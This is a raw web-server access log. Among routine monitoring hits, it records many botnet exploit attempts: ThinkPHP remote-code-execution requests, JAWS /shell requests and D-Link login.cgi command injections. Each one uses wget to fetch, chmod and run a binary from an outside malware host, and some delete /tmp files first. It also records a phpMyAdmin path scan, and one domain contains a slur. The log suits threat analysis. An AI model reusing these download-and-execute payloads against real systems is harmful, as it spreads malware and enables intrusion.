172.105.11.111 - - [08/Feb/2020:08:28:13 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
87.117.49.84 - - [08/Feb/2020:08:28:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:08:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.24.81 - - [08/Feb/2020:08:29:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:08:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.205.115 - - [08/Feb/2020:08:29:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.134.17.3 - - [08/Feb/2020:08:29:58 +0100] "GET /phpmyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:29:59 +0100] "GET /phpMyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:29:59 +0100] "GET /phpMyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:29:59 +0100] "GET /phpmyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:00 +0100] "GET /mysql/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:00 +0100] "GET /database/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:00 +0100] "GET /phpmyadmin1/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:01 +0100] "GET /phpmyadmin2/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:01 +0100] "GET /phpmyadmin3/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:01 +0100] "GET /phpmyadmin4/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:02 +0100] "GET /mysql/admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:02 +0100] "GET /mysql/dbadmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:03 +0100] "GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:03 +0100] "GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:03 +0100] "GET /2phpmyadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:04 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:04 +0100] "GET /phpmy/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:04 +0100] "GET /phppma/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:05 +0100] "GET /myadmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:05 +0100] "GET /shopdb/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:05 +0100] "GET /MyAdmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:06 +0100] "GET /program/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:07 +0100] "GET /PMA/index.php?lang=en HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:07 +0100] "GET /dbadmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:08 +0100] "GET /pma/index.php?lang=en HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:08 +0100] "GET /db/index.php?lang=en HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:09 +0100] "GET /admin/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:09 +0100] "GET /db/phpmyadmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
42.113.229.132 - - [08/Feb/2020:08:30:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.134.17.3 - - [08/Feb/2020:08:30:09 +0100] "GET /db/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:10 +0100] "GET /sqlmanager/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:10 +0100] "GET /mysqlmanager/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:10 +0100] "GET /php-myadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:11 +0100] "GET /phpmy-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:12 +0100] "GET /mysqladmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:13 +0100] "GET /mysql-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:13 +0100] "GET /admin/phpmyadmin/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:13 +0100] "GET /admin/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:14 +0100] "GET /admin/sysadmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:14 +0100] "GET /admin/sqladmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:30:14 +0100] "GET /admin/db/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
1.52.82.110 - - [08/Feb/2020:08:30:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.87.35.218 - - [08/Feb/2020:08:30:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:08:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:32:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.127.107.85 - - [08/Feb/2020:08:32:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [08/Feb/2020:08:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.183.121.99 - - [08/Feb/2020:08:36:42 +0100] "OPTIONS / HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:08:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.147.141 - - [08/Feb/2020:08:38:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:08:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.88.255.120 - - [08/Feb/2020:08:38:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:08:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.48.235.1 - - [08/Feb/2020:08:40:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
189.146.252.40 - - [08/Feb/2020:08:40:32 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:08:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.214.52.142 - - [08/Feb/2020:08:41:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
117.20.29.126 - - [08/Feb/2020:08:42:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:08:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.52.179 - - [08/Feb/2020:08:43:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:08:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
172.105.11.111 - - [08/Feb/2020:08:46:10 +0100] "HEAD / HTTP/1.1" 200 - "-" "\"Mozilla/5.0"
172.105.11.111 - - [08/Feb/2020:08:46:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "\"Mozilla/5.0"
172.105.11.111 - - [08/Feb/2020:08:46:39 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330"
212.91.246.72 - - [08/Feb/2020:08:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.4.77 - - [08/Feb/2020:08:48:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:08:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.43.112.131 - - [08/Feb/2020:08:49:16 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:08:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.199.121 - - [08/Feb/2020:08:49:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.43.112.131 - - [08/Feb/2020:08:50:26 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
5.43.112.131 - - [08/Feb/2020:08:50:35 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:08:50:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.173.25.62 - - [08/Feb/2020:08:51:26 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [08/Feb/2020:08:51:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.43.112.131 - - [08/Feb/2020:08:52:35 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:08:52:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.35.93 - - [08/Feb/2020:08:53:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:08:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.43.112.131 - - [08/Feb/2020:08:53:44 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
5.43.112.131 - - [08/Feb/2020:08:53:50 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
190.22.197.22 - - [08/Feb/2020:08:54:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
5.43.112.131 - - [08/Feb/2020:08:54:39 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:08:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.43.112.131 - - [08/Feb/2020:08:56:14 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:08:56:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.79.78.40 - - [08/Feb/2020:08:56:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [08/Feb/2020:08:57:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.43.112.131 - - [08/Feb/2020:08:58:14 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:08:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.110 - - [08/Feb/2020:08:58:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.43.112.131 - - [08/Feb/2020:08:58:49 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:08:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.53.119.19 - - [08/Feb/2020:09:00:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:09:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [08/Feb/2020:09:01:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [08/Feb/2020:09:01:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [08/Feb/2020:09:01:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [08/Feb/2020:09:01:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:09:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [08/Feb/2020:09:01:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.118.196.152 - - [08/Feb/2020:09:01:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.148.29.173 - - [08/Feb/2020:09:02:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:09:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:09:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.252.70.14 - - [08/Feb/2020:09:04:08 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [08/Feb/2020:09:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:09:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.37.9.158 - - [08/Feb/2020:09:06:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [08/Feb/2020:09:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
